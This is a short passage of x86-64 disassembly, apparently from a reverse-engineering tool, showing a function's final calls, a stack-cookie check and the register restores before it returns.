lea r8d, [rsi + 1]
mov dl, 1
mov rcx, rdi
call fcn.1400275d0
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.1400f2870
mov rax, rbx
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14026d870
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret